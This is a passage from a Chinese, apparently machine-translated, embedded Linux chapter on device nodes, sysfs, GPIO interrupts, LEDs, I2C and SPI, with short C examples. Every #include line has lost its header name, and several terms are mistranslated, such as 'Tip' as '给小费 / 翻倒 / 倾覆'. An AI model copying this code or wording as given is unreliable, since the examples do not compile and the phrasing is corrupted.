-从我在这里使用的数字中,您可能会有这样的印象:主要数字和次要数字都是 0 到 255 范围内的 8 位数字。 事实上,从 Linux2.6 开始,主数字是 12 位长,这给出了从 1 到 4,095 的有效数字,次要数字是 20 位,从 0 到 1,048,575。 - -当您打开字符设备节点时,内核会检查主号和次号是否落入字符设备驱动程序注册的范围内。 如果是,则将调用传递给驱动程序;否则,打开调用失败。 设备驱动程序可以提取次要编号以找出要使用的硬件接口。 - -要编写访问设备驱动程序的程序,您必须对其工作原理有一定的了解。 换句话说,设备驱动程序与文件不同:您对其执行的操作会更改设备的状态。 一个简单的例子是伪随机数生成器`urandom`,它会在您每次读取随机数据时返回字节数。 下面是一个执行此操作的程序(您可以在`MELP/Chapter11/read-urandom`中找到代码): - -```sh -#include -#include -#include -#include -#include -int main(void) -{ -   int f; -   unsigned int rnd; -   int n; -   f = open("/dev/urandom", O_RDONLY); -   if (f < 0) { -      perror("Failed to open urandom"); -      return 1; -   } -   n = read(f, &rnd, sizeof(rnd)); -   if (n != sizeof(rnd)) { -      perror("Problem reading urandom"); -      return 1; -   } -   printf("Random number = 0x%x\n", rnd); -   close(f); -   return 0; -} -``` - -Unix 驱动程序模型的优点是,一旦我们知道有一个名为`urandom`的设备,每次我们从它读取数据时,它都会返回一组新的伪随机数据,所以我们不需要知道任何关于它的其他信息。 我们只能使用标准函数,如`open(2)`、`read(2)`和`close(2)`。 - -给小费 / 翻倒 / 倾覆 - -您可以改用称为`fopen(3)`、`fread(3)`和`fclose(3)`的流 I/O 函数,但是这些函数中隐含的缓冲通常会导致意外的行为。 例如,`fwrite(3)`通常只写入用户空间缓冲区,而不写入设备。 您需要调用`fflush(3)`来强制写出缓冲区。 因此,在调用设备驱动程序时最好不要使用流 I/O 函数。 - -大多数设备驱动程序都使用字符界面。 大容量存储设备是一个明显的例外。 读取和写入磁盘需要数据块接口以获得最大速度。 - -# 块设备 - -块设备也与设备节点相关联,设备节点也有主编号和 -从编号。 - -给小费 / 翻倒 / 倾覆 - -虽然字符和块设备使用主编号和次要编号进行标识,但它们位于不同的命名空间中。 主号为`4`的字符驱动程序与主号为`4`的块驱动程序没有任何关系。 - -对于块设备,主要编号用于标识设备驱动程序,次要编号用于标识分区。 让我们以 Beaglebone Black 上的 MMC 驱动程序为例: - -```sh -# ls -l /dev/mmcblk* -brw-rw---- 1 root disk 179, 0 Jan 1 2000 /dev/mmcblk0 -brw-rw---- 1 root disk 179, 1 Jan 1 2000 /dev/mmcblk0p1 -brw-rw---- 1 root disk 179, 2 Jan 1 2000 /dev/mmcblk0p2 -brw-rw---- 1 root disk 179, 8 Jan 1 2000 /dev/mmcblk1 -brw-rw---- 1 root disk 179, 16 Jan 1 2000 /dev/mmcblk1boot0 -brw-rw---- 1 root disk 179, 24 Jan 1 2000 /dev/mmcblk1boot1 -brw-rw---- 1 root disk 179, 9 Jan 1 2000 /dev/mmcblk1p1 -brw-rw---- 1 root disk 179, 10 Jan 1 2000 /dev/mmcblk1p2 -``` - -这里,`mmcblk0`是 microSD 卡插槽,它有一个有两个分区的卡,`mmcblk1`是 eMMC 芯片,它也有两个分区。 MMC 块驱动程序的主编号是`179`(您可以在`devices.txt`中查找)。 次要编号在范围内用于标识不同的物理 MMC 设备以及该设备上的存储介质分区。 对于 MMC 驱动程序,每个设备的范围是 8 个次要编号:从`0`到`7`的次要编号是第一个设备的次要编号,从`8`到`15`的数字是第二个设备的次要编号,依此类推。 在每个范围内,第一个次要编号将整个设备表示为原始扇区,其他编号最多表示七个分区。 在 eMMC 芯片上,有两个 128 KiB 的内存区域预留给引导加载程序使用。 它们表示为称为`mmcblk1boot0`和`mmcblk1boot1`的两个设备,它们分别具有次要编号`16`和`24`。 - -作为另一个示例,您可能知道 SCSI 磁盘驱动程序,称为`sd`,它用于控制使用 SCSI 命令集的一系列磁盘,包括 SCSI、SATA、USB 大容量存储和**通用闪存(UFS)**。 它的主编号为`8`,每个接口(或磁盘)的范围为 16 个次要编号。 从`0`到`15`的次要编号表示具有名为`sda`到`sda15`的设备节点的第一个接口,从`16`到`31`的编号表示包含设备节点`sdb`到`sdb15`的第二个磁盘,依此类推。 这将持续到从`240`到`255`的第 16 个磁盘,节点名为`sdp`。 因为 SCSI 磁盘非常流行,所以还有其他主要数字为它们保留,但我们在这里不必担心这一点。 - -MMC 和 SCSI 块驱动程序都希望在磁盘的起始处找到分区表。 分区表是使用`fdisk`、`sfidsk`和`parted`等实用程序创建的。 - -用户空间程序可以通过设备节点直接打开块设备并与其交互。 不过,这并不常见,通常只在执行管理操作(如创建分区、使用文件系统格式化分区和挂载)时才执行。 挂载文件系统后,您可以通过该文件系统中的文件间接与块设备交互。 - -大多数块设备都有一个可以工作的内核驱动程序,所以我们很少需要编写自己的驱动程序。 网络设备也是如此。 就像文件系统抽象块设备的细节一样,网络堆栈消除了与网络设备直接交互的需要。 - -# 网络设备 - -网络设备不能通过设备节点访问,并且它们没有主编号和次要编号。 取而代之的是,内核根据字符串和实例号为网络设备分配一个名称。 以下是网络驱动程序注册接口方式的示例: - -```sh -my_netdev = alloc_netdev(0, "net%d", NET_NAME_UNKNOWN, netdev_setup); -ret = register_netdev(my_netdev); -``` - -这将在第一次调用时创建名为`net0`的网络设备,在第二次调用时创建名为`net1`的网络设备,依此类推。 更常见的名称包括`lo`、`eth0`和`wlan0`。 请注意,这是其开头的名称;设备管理器(如`udev`)稍后可能会将其更改为其他名称。 - -通常,网络接口名称仅在使用实用程序(如`ip`和`ifconfig`)配置网络以建立网络地址和路由时使用。 此后,通过打开套接字并让网络层决定如何将其路由到正确的接口,您可以间接地与网络驱动程序交互。 - -但是,通过创建套接字并使用`include/linux/sockios.h`中列出的`ioctl`命令,可以直接从用户空间访问网络设备。 例如,此程序使用`SIOCGIFHWADDR`向驱动程序查询硬件(MAC)地址(代码在`MELP/Chapter11/show-mac-addresses`中): - -```sh -#include -#include -#include -#include -#include -#include -#include -int main(int argc, char *argv[]) -{ -   int s; -   int ret; -   struct ifreq ifr; -   int i; -   if (argc != 2) { -      printf("Usage %s [network interface]\n", argv[0]); -      return 1; -   } -   s = socket(PF_INET, SOCK_DGRAM, 0); -   if (s < 0) { -      perror("socket"); -      return 1; -   } -   strcpy(ifr.ifr_name, argv[1]); -   ret = ioctl(s, SIOCGIFHWADDR, &ifr); -   if (ret < 0) { -      perror("ioctl"); -      return 1; -   } -   for (i = 0; i < 6; i++) -      printf("%02x:", (unsigned char)ifr.ifr_hwaddr.sa_data[i]); -   printf("\n"); -   close(s); -   return 0; -} -``` - -此程序采用网络接口名称作为参数。 打开套接字后,我们将接口名称复制到一个结构中,并将该结构传递给套接字上的`ioctl`调用,然后打印出结果 MAC 地址。 - -现在我们已经知道了三类设备驱动程序是什么,我们如何列出系统上正在使用的不同驱动程序? - -# 在运行时查找有关驱动程序的信息 - -一旦您有了运行的 Linux 系统,了解哪些设备驱动程序已经加载以及它们处于什么状态是很有用的。 您可以通过阅读 -`/proc`和`/sys`中的文件找到很多信息。 - -首先,您可以通过读取`/proc/devices`列出当前已加载并处于活动状态的字符和块设备驱动程序: - -```sh -# cat /proc/devices -Character devices: -  1 mem -  2 pty -  3 ttyp -  4 /dev/vc/0 -  4 tty -  4 ttyS -  5 /dev/tty -  5 /dev/console -  5 /dev/ptmx -  7 vcs - 10 misc - 13 input - 29 fb - 81 video4linux - 89 i2c - 90 mtd -116 alsa -128 ptm -136 pts -153 spi -180 usb -189 usb_device -204 ttySC -204 ttyAMA -207 ttymxc -226 drm -239 ttyLP -240 ttyTHS -241 ttySiRF -242 ttyPS -243 ttyWMT -244 ttyAS -245 ttyO -246 ttyMSM -247 ttyAML -248 bsg -249 iio -250 watchdog -251 ptp -252 pps -253 media -254 rtc -Block devices: -259 blkext -  7 loop -  8 sd - 11 sr - 31 mtdblock - 65 sd - 66 sd - 67 sd - 68 sd - 69 sd - 70 sd - 71 sd -128 sd -129 sd -130 sd -131 sd -132 sd -133 sd -134 sd -135 sd -179 mmc -``` - -对于每个驱动程序,您可以看到主机号和基本名称。 但是,这不会告诉您每个驱动程序连接到多少个设备。 它只显示`ttyAMA`,但不会给您提供是否连接到四个真实串行端口的线索。 稍后我们讨论`sysfs`时,我会再谈到这一点。 - -当然,网络设备不会出现在此列表中,因为它们没有设备节点。 相反,您可以使用`ifconfig`或`ip`等工具来获取网络设备列表: - -```sh -# ip link show -1: lo: mtu 65536 qdisc noqueue state -UNKNOWN mode DEFAULT - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 -2: eth0: mtu 1500 qdisc -pfifo_fast state DOWN mode DEFAULT qlen 1000 - link/ether 54:4a:16:bb:b7:03 brd ff:ff:ff:ff:ff:ff -3: usb0: mtu 1500 qdisc -pfifo_fast state UP mode DEFAULT qlen 1000 - link/ether aa:fb:7f:5e:a8:d5 brd ff:ff:ff:ff:ff:ff -``` - -您还可以使用熟知的`lsusb`和`lspci`命令查找连接到 USB 或 PCI 总线的设备。 在各自的手册页面和大量的在线指南中都有关于它们的信息,所以我在这里不再进一步描述它们。 - -真正有趣的信息在`sysfs`中,这是我们要讨论的下一个主题。 - -## 从 sysfs 获取信息 - -您可以用一种迂腐的方式将定义为内核对象、属性和关系的表示形式。 内核对象是**目录**,属性是**文件**,并且关系是从一个对象到另一个对象的**符号链接**。 从更实际的角度来看,由于 Linux 设备驱动程序模型将所有设备和驱动程序表示为内核对象,因此您可以通过查看`/sys`来查看摆在您面前的系统的内核视图,如下所示: - -```sh -# ls /sys -block class devices fs module -bus dev firmware kernel power -``` - -在发现有关设备和驱动程序的信息的上下文中,我将查看其中的三个目录:`devices`、`class`和`block`。 - -### 设备-/sys/device - -这是内核对自引导以来发现的设备以及它们如何相互连接的视图。 它是由系统总线在顶层组织的,因此您看到的内容因系统而异。 这是 ARM 多功能的 QEMU 仿真: - -```sh -# ls /sys/devices -platform software system tracepoint virtual -``` - -所有系统上都有三个目录: - -* `system/`:这包含系统核心的设备,包括 CPU 和时钟。 -* `virtual/`:它包含基于内存的设备。 您将在`virtual/mem`中找到显示为`/dev/null`、`/dev/random`和`/dev/zero`的存储设备。 您可以在`virtual/net`中找到环回设备`lo`。 -* `platform/`:对于未通过传统硬件总线连接的设备来说,这是一个包罗万象的方案。 这可能是嵌入式设备上的几乎所有东西。 - -其他设备出现在与实际系统总线相对应的目录中。 例如,PCI 根总线(如果有)显示为`pci0000:00`。 - -导航此层次结构相当困难,因为它需要一些系统拓扑知识,并且路径名变得相当长且很难记住。 为方便起见,`/sys/class`和`/sys/block`提供了两种不同的设备视图。 - -### 驱动程序-/sys/class - -这是按其类型显示的设备驱动程序的视图。 换句话说,它是一种软件视图,而不是硬件视图。 每个子目录代表一类驱动程序,并由驱动程序框架的一个组件实现。 例如,UART 设备由`tty`层管理,您可以在`/sys/class/tty`层中找到它们。 同样,您将在`/sys/class/net`中找到网络设备,在`/sys/class/input`中找到键盘、触摸屏和鼠标等输入设备。 - -该类型设备的每个实例的每个子目录中都有一个符号链接,指向其在`/sys/device`中的表示。 - -举一个具体的例子,让我们看看多功能 PB 上的串行端口。 首先,我们可以看到它们有四个: - -```sh -# ls -d /sys/class/tty/ttyAMA* -/sys/class/tty/ttyAMA0 /sys/class/tty/ttyAMA2 -/sys/class/tty/ttyAMA1 /sys/class/tty/ttyAMA3 -``` - -每个目录都是与设备接口实例相关联的内核对象的表示。 查看其中一个目录,我们可以看到对象的属性(表示为文件)以及与其他对象的关系(表示为链接): - -```sh -# ls /sys/class/tty/ttyAMA0 -close_delay flags line uartclk -closing_wait io_type port uevent -custom_divisor iomem_base power xmit_fifo_size -dev iomem_reg_shift subsystem -device irq type -``` - -名为`device`的链接指向设备的硬件对象。 名为`subsystem`的链路指向父子系统`/sys/class/tty`。 其余的目录条目是属性。 有些特定于串行端口,如`xmit_fifo_size`、 -,而另一些适用于多种类型的设备,如中断号`irq`和设备号`dev`。 有些属性文件是可写的,允许您在运行时调整驱动程序中的参数。 - -`dev`属性特别有趣。 如果查看其值,您会发现 -如下所示: - -```sh -# cat /sys/class/tty/ttyAMA0/dev -204:64 -``` - -这些是本设备的主号和次号。 此属性是在驱动程序注册此接口时创建的。 `udev`和`mdev`正是从该文件中找到设备驱动程序的主号和次号。 - -### 块驱动程序-/sys/block - -设备模型的另一个视图对本讨论很重要:您将在`/sys/block`中找到的块驱动程序视图。 每个块设备都有一个子目录。 此示例取自 Beaglebone Black: - -```sh -# ls /sys/block -loop0 loop4 mmcblk0 ram0 ram12 ram2 ram6 -loop1 loop5 mmcblk1 ram1 ram13 ram3 ram7 -loop2 loop6 mmcblk1boot0 ram10 ram14 ram4 ram8 -loop3 loop7 mmcblk1boot1 ram11 ram15 ram5 ram9 -``` - -如果您查看`mmcblk1`,这是该板上的 eMMC 芯片,您将看到接口的属性和其中的分区: - -```sh -# ls /sys/block/mmcblk1 -alignment_offset ext_range mmcblk1p1 ro -bdi force_ro mmcblk1p2 size -capability holders power slaves -dev inflight queue stat -device mmcblk1boot0 range subsystem -discard_alignment mmcblk1boot1 removable uevent -``` - -因此,结论是您可以通过阅读`sysfs`来了解系统上的设备(硬件)和驱动程序(软件)。 - -# 查找正确的设备驱动程序 - -典型的嵌入式电路板基于制造商的参考设计,并对其进行了修改以使其适合特定应用。 参考板附带的 BSP 应支持该板上的所有外围设备。 但是,然后你可以定制设计,也许可以添加一个通过 I2C 连接的温度传感器,通过 GPIO 引脚连接的一些灯和按钮,通过 MIPI 接口连接的显示面板,或者许多其他东西。 您的工作是创建一个自定义内核来控制所有这些设备,但是您从哪里开始寻找支持所有这些外围设备的设备驱动程序呢? - -最明显的地方是制造商网站上的驱动程序支持页面,或者你可以直接询问他们。 根据我的经验,这很少得到您想要的结果;硬件制造商并不是特别精通 Linux,而且他们经常给您提供误导性的信息。 他们可能有专有的驱动程序作为二进制 BLOB,或者他们可能有源代码,但针对的内核版本与您拥有的版本不同。 所以,一定要试试这条路线。 就我个人而言,我会一直尝试为手头的任务找到一个开源驱动程序。 - -您的内核中可能已经有了支持:主流 Linux 中有数千个驱动程序,供应商内核中也有许多特定于供应商的驱动程序。 首先运行`make menuconfig`(或`xconfig`)并搜索产品名称或编号。 如果找不到完全匹配的产品,请尝试更通用的搜索,因为大多数司机处理的是同一系列的一系列产品。 接下来,尝试搜索`drivers`目录中的代码(`grep`在这里是您的朋友)。 - -如果你仍然没有驱动程序,你可以尝试在线搜索,并在相关论坛中询问,看看是否有更高版本的 Linux 的驱动程序。 如果您找到一个,您应该认真考虑更新 BSP 以使用较新的内核。 有时,这是不切实际的,因此它可能不得不考虑将驱动程序反向移植到您的内核。 如果内核版本相似,这可能很容易,但如果它们之间的间隔超过 12 到 18 个月,那么代码很可能会发生变化,以至于您必须重写驱动程序的一大块才能将其与内核集成。 如果所有这些选项都失败了,您将不得不自己编写缺失的内核驱动程序来寻找解决方案。 然而,这并不总是必要的。 我们将在下一节中研究这一点。 - -# 用户空间中的设备驱动程序 - -在开始编写设备驱动程序之前,请暂停片刻考虑是否真的需要这样做。 有适用于许多常见设备类型的通用设备驱动程序,它们允许您直接从用户空间与硬件交互,而无需编写一行内核代码。 用户空间代码当然更容易编写和调试。 它也不在 GPL 的覆盖范围内,尽管我觉得这本身并不是这样做的一个很好的理由。 - -这些驱动程序分为两大类:一类是通过`sysfs`中的文件控制的驱动程序,包括 GPIO 和 LED;另一类是通过设备节点(如 I2C)公开通用接口的串行总线。 - -## GPIO - -**通用输入/输出**(**GPIO**)是最简单的数字接口形式,因为它允许您直接访问个硬件引脚,每个引脚可以处于两种状态之一:高或低。 在大多数情况下,您可以将 GPIO 引脚配置为输入或输出。 您甚至可以使用一组 GPIO 引脚,通过操作软件中的每个位来创建更高级别的接口,如 I2C 或 SPI,这种技术称为**位碰撞**。 主要的限制是软件循环的速度和精度,以及要专门用于它们的 CPU 周期数。 一般而言,除非您配置实时内核,否则很难获得比毫秒更高的计时器精度,正如我们将在[*第 21 章*](21.html#_idTextAnchor600),*实时编程*中看到的那样。 GPIO 更常见的用例是读取按钮和数字传感器以及控制 LED、电机和继电器。 - -大多数 SoC 都有很多 GPIO 位,这些位集中在 GPIO 寄存器中,通常每个寄存器 32 位。 片上 GPIO 位通过多路复用器(称为**管脚多路复用器**)路由到芯片封装上的 GPIO 管脚。 在电源管理芯片中以及通过 I2C 或 SPI 总线连接的专用 GPIO 扩展器中,可能还有额外的 GPIO 引脚可用。 所有这些多样性都是由称为`gpiolib`的内核子系统处理的,它实际上不是一个库,而是用于以一致的方式公开 I/O 的基础设施 GPIO 驱动程序。 在`Documentation/gpio`中有关于内核源代码中`gpiolib`实现的详细信息,驱动程序本身的代码在`drivers/gpio`中。 - -应用可以通过`/sys/class/gpio`目录中的文件与`gpiolib`交互。 以下是您将在典型嵌入式电路板 -(Beaglebone Black)上看到的一个示例: - -```sh -# ls /sys/class/gpio -export gpiochip0 gpiochip32 gpiochip64 gpiochip96 unexport -``` - -名为`gpiochip0`到`gpiochip96`的目录代表四个 GPIO 寄存器,每个寄存器都有 32 个 GPIO 位。 如果您查看其中一个`gpiochip`目录,您将看到以下内容: - -```sh -# ls /sys/class/gpio/gpiochip96 -base label ngpio power subsystem uevent -``` - -名为`base`的文件包含寄存器中第一个 GPIO 引脚的编号,而`ngpio`包含寄存器中的位数。 在本例中,`gpiochip96/base`是 96,`gpiochip96/ngpio`是 32,这表明它包含 GPIO 位 96 到 127。 一个寄存器中的最后一个 GPIO 和下一个寄存器中的第一个 GPIO 之间可能存在间隙。 - -要从用户空间控制 GPIO 位,首先必须将其从内核空间导出,这可以通过将 GPIO 编号写入`/sys/class/gpio/export`来实现。 此示例显示了连接到 Beaglebone Black 上的 User LED 0 的 GPIO 53 的流程: - -```sh -# echo 53 > /sys/class/gpio/export -# ls /sys/class/gpio -export gpio53 gpiochip0 gpiochip32 gpiochip64 gpiochip96 unexport -``` - -现在,有了一个新目录`gpio53`,其中包含您需要控制 -管脚的文件。 - -重要音符 - -如果内核已经声明了 GPIO 位,您将不能以这种方式导出它。 - -`gpio53`目录包含以下文件: - -```sh -# ls /sys/class/gpio/gpio53 -active_low direction power uevent -device edge subsystem value -``` - -引脚作为输入开始。 要将其更改为输出,请将`out`写入`direction`文件。 文件值包含管脚的当前状态,低位为`0`,高位为`1`。 如果是输出,可以通过将`0`或`1`写入`value`来更改状态。 有时,低电压和高电压在硬件中的含义相反(硬件工程师喜欢这样做),因此写入`1`到`active_low`会颠倒`value`的含义,因此低电压报告为`1`,高电压报告为`0`。 - -您可以通过将 GPIO 编号写入`/sys/class/gpio/unexport`来从用户空间控制中移除 GPIO。 - -### 处理来自 GPIO 的中断 - -在许多情况下,可以将 GPIO 输入配置为在更改状态时生成中断,这允许您等待中断,而不是在低效的软件循环中轮询。 如果 GPIO 位可以生成中断,则存在名为`edge`的文件。 最初,它具有名为`none`的值,这意味着它不会生成中断。 要启用中断,可以将其设置为下列值之一: - -* `rising`:上升沿中断 -* `falling`:下降沿中断 -* `both`:上升沿和下降沿均中断 -* `none`:无中断(默认) - -如果要等待 GPIO 48 上的下降沿,则必须首先启用中断: - -```sh -# echo 48 > /sys/class/gpio/export -# echo falling > /sys/class/gpio/gpio48/edge -``` - -要等待来自 GPIO 的中断,请执行以下步骤: - -1. 首先,调用`epoll_create`创建`epoll`通知工具: - - ```sh - int ep; - ep = epoll_create(1); - ``` - -2. 接下来,`open`GPIO 和`read`得出其初始值: - - ```sh - int f; - int n; - char value[4]; - f = open("/sys/class/gpio/gpio48/value", O_RDONLY | O_NONBLOCK); - […] - n = read(f, &value, sizeof(value)); - if (n > 0) { -      printf("Initial value value=%c\n", -            value[0]); -      lseek(f, 0, SEEK_SET); - } - ``` - -3. 调用`epoll_ctl`将 GPIO 的文件描述符注册到`POLLPRI`作为事件: - - ```sh - struct epoll_event ev, events; - ev.events = EPOLLPRI; - ev.data.fd = f; - int ret; - ret = epoll_ctl(ep, EPOLL_CTL_ADD, f, &ev); - ``` - -4. 最后,使用`epoll_wait`函数等待中断: - - ```sh - while (1) { -      printf("Waiting\n"); -      ret = epoll_wait(ep, &events, 1, -1); -      if (ret > 0) { -            n = read(f, &value, sizeof(value)); -            printf("Button pressed: value=%c\n", value[0]); -            lseek(f, 0, SEEK_SET); -      } - } - ``` - -这个程序的完整源代码,以及一个`Makefile`和 GPIO 配置脚本,可以在本书的代码归档中包含的`MELP/Chapter11/gpio-int/`目录中找到。 - -虽然我们可以使用`select`和`poll`来处理中断,但与其他两个系统调用不同的是,`epoll`的性能不会随着被监视的文件描述符数量的增加而迅速下降。 - -与 GPIO 类似,LED 也可以从`sysfs`访问。 然而,界面却有明显的不同。 - -## LED - -LED 通常通过 GPIO 引脚进行控制,但还有另一个内核子系统提供专门针对此目的的更专门的控制。 `leds`内核子系统增加了设置亮度的功能(如果 LED 具有该功能),并且它可以处理以其他方式连接的 LED,而不是简单的 GPIO 引脚。 可以将其配置为在某个事件(如阻止设备访问或仅是心跳)时触发 LED,以显示设备正在工作。 您必须使用`CONFIG_LEDS_CLASS`选项和适合您的 LED 触发操作来配置内核。 有关`Documentation/leds/`的更多信息,请参阅`drivers/leds/`中的驱动程序。 - -与 GPIO 一样,LED 通过`/sys/class/leds`目录中`sysfs`中的接口进行控制。 在 Beaglebone Black 的情况下,LED 的名称以`devicename:colour:function`的形式编码在设备树中,如下所示: - -```sh -# ls /sys/class/leds -beaglebone:green:heartbeat beaglebone:green:usr2 -beaglebone:green:mmc0 beaglebone:green:usr3 -``` - -现在,我们可以查看其中一个 LED 的属性: - -```sh -# cd /sys/class/leds/beaglebone\:green\:usr2 -# ls -brightness max_brightness subsystem uevent -device power trigger -``` - -请注意,shell 需要使用前导反斜杠来转义路径中的冒号。 - -`brightness`文件控制 LED 的亮度,可以是介于`0`(关闭)和`max_brightness`(完全打开)之间的数字。 如果 LED 不支持中等亮度,则任何非零值都会将其打开。 名为`trigger`的文件列出了触发 LED 点亮的事件 -。 触发器列表取决于实现。 下面是 -的一个例子: - -```sh -# cat trigger -none mmc0 mmc1 timer oneshot heartbeat backlight gpio [cpu0] -default-on -``` - -当前选择的触发器显示在方括号中。 您可以通过将其他触发器之一写入文件来更改它。 如果要完全通过`brightness`控制 LED,请选择`none`。 如果将`trigger`设置为`timer`,则会出现两个额外的文件,允许您以毫秒为单位设置打开和关闭时间: - -```sh -# echo timer > trigger -# ls -brightness delay_on max_brightness subsystem uevent -delay_off device power trigger -# cat delay_on -500 -# cat /sys/class/leds/beaglebone:green:heartbeat/delay_off -500 -``` - -如果 LED 具有片上定时器硬件,则闪烁不会中断 -CPU。 - -## I2C - -I2C 是一种简单低速二线制总线,在嵌入式主板上很常见,通常为,用于访问不在 SoC 上的外围设备,如显示控制器、摄像机传感器、GPIO 扩展器等。 PC 上有一个相关标准,称为**系统管理总线**(**SMBus**),用于访问温度和电压传感器。 SMBus 是 I2C 的子集。 - -I2C 是主从协议,主机是 SoC 上的一个或多个主机控制器。 从机具有制造商分配的 7 位地址(请参阅数据手册),每条总线最多允许 128 个节点,但保留了 16 个节点,因此实际上只允许 112 个节点。 主设备可以发起与从设备之一的读或写事务。 通常,第一个字节用于指定从机上的寄存器,其余字节则是从该寄存器读取或写入的数据。 - -每个主机控制器都有一个设备节点;例如,此 SoC 有四个: - -```sh -# ls -l /dev/i2c* -crw-rw---- 1 root i2c 89, 0 Jan 1 00:18 /dev/i2c-0 -crw-rw---- 1 root i2c 89, 1 Jan 1 00:18 /dev/i2c-1 -crw-rw---- 1 root i2c 89, 2 Jan 1 00:18 /dev/i2c-2 -crw-rw---- 1 root i2c 89, 3 Jan 1 00:18 /dev/i2c-3 -``` - -器件接口提供一系列`ioctl`命令,用于查询主机控制器并将`read`和`write`命令发送到 I2C 从机。 有一个名为`i2c-tools`的包,它使用此接口提供与 I2C 设备交互的基本命令行工具。 工具如下: - -* `i2cdetect`:列出 I2C 适配器并探测总线。 -* `i2cdump`:这会转储来自 I2C 外设所有寄存器的数据。 -* `i2cget`:这将从 I2C 从机读取数据。 -* `i2cset`:将数据写入 I2C 从机。 - -`i2c-tools`包可以在 Buildroot 和 Yocto 项目中获得,也可以在大多数主流发行版中找到。 因此,只要您知道从机的地址和协议,编写一个用户空间程序来与设备对话就很简单了。 下例显示如何从 AT24C512B EEPROM 读取前四个字节,该 EEPROM 安装在 I2C 总线 0 上的 Beaglebone Black 上。 它的从机地址为`0x50`(其代码在`MELP/Chapter11/i2c-example`中): - -```sh -#include -#include -#include -#include -#include -#define I2C_ADDRESS 0x50 -int main(void) -{ -   int f; -   int n; -   char buf[10]; -   f = open("/dev/i2c-0", O_RDWR); -   /* Set the address of the i2c slave device */ -   ioctl(f, I2C_SLAVE, I2C_ADDRESS); -   /* Set the 16-bit address to read from to 0 */ -   buf[0] = 0; /* address byte 1 */ -   buf[1] = 0; /* address byte 2 */ -   n = write(f, buf, 2); -   /* Now read 4 bytes from that address */ -   n = read(f, buf, 4); -   printf("0x%x 0x%x0 0x%x 0x%x\n", -   buf[0], buf[1], buf[2], buf[3]); -   close(f); -   return 0; -} -``` - -该程序类似于`i2cget`,不同之处在于读取的地址和寄存器字节都是硬编码的,而不是作为参数传入。 我们可以使用`i2cdetect`来发现 I2C 总线上任何外围设备的地址。 `i2cdetect`可能会使 I2C 外设处于不良状态或锁定总线,因此最好在使用后重新启动。 外设的数据表告诉我们寄存器对应的是什么。 有了这些信息,我们就可以使用`i2cset`通过 I2C 写入其寄存器。 这些 I2C 命令可以轻松转换为 C 函数库,以便与外设接口。 - -重要注 - -在`Documentation/i2c/dev-interface`中有更多关于 Linux 实现 I2C 的信息。 主机控制器驱动程序在`drivers/i2c/busses`中。 - -另一个流行的通信协议是**串行外设接口(SPI)**,它使用 4 线总线。 - -## SPI - -SPI 总线类似于 I2C,但速度要快得多,最高可达数十 MHz。 该接口使用四条线路,具有独立的发送和接收线路,使其能够在全双工模式下运行。 总线上的每个芯片用专用芯片选择线选择。 它通常用于连接触摸屏传感器、显示控制器和串行 NOR 闪存设备。 - -与 I2C 一样,它是主从协议,大多数 SoC 实现一个或多个主机控制器。 有一个通用的 SPI 设备驱动程序,您可以通过`CONFIG_SPI_SPIDEV`内核配置启用它。 它为每个 SPI 控制器创建一个设备节点,允许您从用户空间访问 SPI 芯片。 设备节点命名为`spidev[bus].[chip select]`: - -```sh -# ls -l /dev/spi* -crw-rw---- 1 root root 153, 0 Jan 1 00:29 /dev/spidev1.0 -``` - -有关使用`spidev`接口的示例,请参考`Documentation/spi`中的示例代码。 - -到目前为止,我们看到的设备驱动程序在 Linux 内核中都有长期的上游支持。 因为这些设备驱动程序都是通用的(GPIO、LED、I2C 和 SPI),所以从用户空间访问它们很简单。 在某些情况下,您会遇到缺少兼容内核设备驱动程序的硬件。 该硬件可能是您的产品的核心(例如,激光雷达、SDR 等)。 在 SoC 和该硬件之间也可能有 FPGA。 在这些情况下,除了编写自己的内核模块之外,您可能别无选择。 - -# 编写内核设备驱动程序 - -最后,当用尽之前的所有用户空间选项时,您会发现自己必须编写设备驱动程序才能访问连接到设备的硬件。 字符驱动程序是最灵活的,应该可以满足您 90%的需求;如果您使用的是网络接口,则适用于网络驱动程序,而块驱动程序适用于大容量存储。 编写内核驱动程序的任务很复杂,超出了本书的范围。 在结尾处有一些参考资料可以帮助你上路。 在本节中,我想概述可用于与驱动程序交互的选项-这是一个通常不会涉及的主题-并向您展示字符设备驱动程序的基本框架。 - -## 字符驱动接口设计 - -Main Character 驱动程序接口基于字节流,就像使用串行端口一样。 然而,许多设备并不符合这种描述:例如,机器人手臂的控制器需要移动和旋转每个关节的功能。 幸运的是,除了`read`和`write`之外,还有其他方式可以与设备驱动程序通信: - -* `ioctl`:`ioctl`函数允许您向驱动程序传递两个参数 - ,这些参数可以有您喜欢的任何含义。 按照惯例,第一个参数是 - 命令,它选择驱动程序中的几个函数之一,而第二个参数是指向结构的指针,该结构充当输入和输出参数的容器。 这是一个空白画布,允许您设计任何您喜欢的程序界面。 当驱动程序和应用紧密联系在一起并由同一团队编写时,这种情况很常见。 但是,内核中不推荐使用`ioctl`,您会发现很难在上游获得接受`ioctl`新用法的任何驱动程序。 内核维护人员不喜欢`ioctl`,因为使内核代码和应用代码过于相互依赖,很难跨内核版本和架构保持两者的步调一致。 -* `sysfs`:这是现在做事情的首选方式,前面描述的 GPIO 接口就是一个很好的例子。 的优点是,只要您为文件选择描述性名称,它就具有一定的自文档化功能。 它也是可编写脚本的,因为文件的内容通常是文本字符串。 另一方面,如果需要一次更改多个值,则每个文件必须包含单个值的要求使得很难实现原子性。 相反,`ioctl`在单个函数调用中传递结构中的所有参数。 -* `mmap`:通过将内核内存映射到用户空间,从而绕过内核,您可以直接访问内核缓冲区和硬件寄存器。 您可能仍然需要一些内核代码来处理中断和 DMA。 有一个子系统封装了这个概念,称为`uio`,它是**User I/O**的缩写。 `Documentation/DocBook/uio-howto`中有更多文档,`drivers/uio`中有示例驱动程序。 -* `sigio`:您可以使用名为`kill_fasync()`的内核函数从驱动程序发送信号,以通知应用发生事件,如输入准备就绪或收到中断。 按照惯例,使用名为`SIGIO`的信号,但它可以是任何信号。 您可以在 UIO 驱动程序`drivers/uio/uio.c`和 RTC 驱动程序`drivers/char/rtc.c`中看到一些示例。 主要问题是很难在用户空间中编写可靠的信号处理程序,因此它仍然是一个很少使用的工具。 -* `debugfs`:这是另一个伪文件系统,它将内核数据表示为文件和目录,类似于`proc`和`sysfs`。 主要区别在于`debugfs`不得包含系统正常运行所需的信息;它仅用于调试和跟踪信息。 它被安装为`mount -t debugfs debug /sys/kernel/debug`。 在`Documentation/filesystems/debugfs.txt`内核文档中对`debugfs`有很好的描述。 -* 